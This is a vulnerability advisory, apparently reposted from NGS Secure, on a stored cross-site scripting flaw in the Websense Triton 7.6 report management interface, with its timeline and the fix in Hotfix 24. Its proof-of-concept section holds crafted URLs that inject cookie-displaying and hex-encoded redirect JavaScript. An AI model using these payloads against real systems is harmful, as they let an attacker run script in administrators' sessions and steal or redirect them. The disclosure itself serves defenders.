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Websense (Triton 7.6) Stored Cross Site Scripting

Websense (Triton 7.6) Stored Cross Site Scripting
Posted May 2, 2012
Authored by Ben Williams | Site ngssoftware.com

Websense (Triton version 7.6) suffers from a stored cross site scripting vulnerability.

tags | exploit, xss
MD5 | e22f9e5d133175aeae73fb7425430e73

Websense (Triton 7.6) Stored Cross Site Scripting

Change Mirror Download
=======
Summary
=======
Name: Websense (Triton 7.6) stored XSS in report management UI
Release Date: 30 April 2012
Reference: NGS00141
Discoverer: Ben Williams <ben.williams@ngssecure.com>
Vendor: Websense
Vendor Reference:
Systems Affected:
Risk: High
Status: Published

========
TimeLine
========
Discovered: 2 November 2011
Released: 2 November 2011
Approved: 2 November 2011
Reported: 2 November 2011
Fixed: 2 December 2011
Published: 30 April 2012

===========
Description
===========
Websense (Triton 7.6) stored XSS in report management UI

Websense is one of the world's best known web-filter products.

Websense (Triton 7.6) is prone to stored XSS in the report management UI enabling an attacker run arbitrary javasript in the context of the administrators browser and the Websense administrative UI.

The exploit would require an attacker to:

- Gain access to the reporting UI using the attack described in NGS-00138
- Request a crafted URL which stores some Javascript in the favourites XML file
- when an admin view the page the Javascript is executed

=================
Technical Details
=================
I. VULNERABILITY
-------------------------
Websense (Triton 7.6) stored XSS in report management UI

II. BACKGROUND
-------------------------
Websense is one of the world's best known web-filter products.

The "Triton" administrative UI allows administration of multiple Websense solutions, including their Email, Web, and DLP products

http://www.websense.com/

III. DESCRIPTION
-------------------------
Websense (Triton 7.6) is prone to stored XSS in the report management UI enabling an attacker run arbitrary javasript in the context of the administrators browser and the Websense administrative UI.

IV. PROOF OF CONCEPT
-------------------------
Affected URL:

https://192.168.233.30:9443/explorer_wse/favorites.exe
(though I believe there may be other affected URLs)

Examples:

Alert pop-up containing the cookies

https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe&params=startDate=2011-10-29^endDate=2011-10-
29^rnd=936737^&favName=---------------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
%22,%2215%22,%229%22,%2228%22,%2215%22,%229%22,%2228%22]]%3b%0D%09alert%28document.cookie%29%3b%0D%09//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10-
29&vrn=

Arbitrary redirect

https://192.168.233.30:9443/explorer_wse/favorites.exe?Program=ws_irpt.exe&params=startDate=2011-10-29^endDate=2011-10-
29^rnd=936737^&favName=---------------------------------------------------------------------------------------------------------------------------------------------------
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------
%22,%2215%22,%229%22,%2228%22,%2215%22,%229%22,%2228%22]]%3bdocument.location%20%3d%20%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%32%33%33%2e%31%31%2findex2.html
%22%3b//&user=admin&uid=&action=add&startDate=2011-10-29&endDate=2011-10-29&vrn=

In these cases when and administrator subsequently runs a report, the javascript is executed. There are other ways to execute Javascript when the page is initially loaded (but I thought this was a good example).

===============
Fix Information
===============
This issue is addressed in Hotfix 24, which can be downloaded at:
https://www.websense.com/content/mywebsense-hotfixes.aspx

NGS Secure Research
http://www.ngssecure.com

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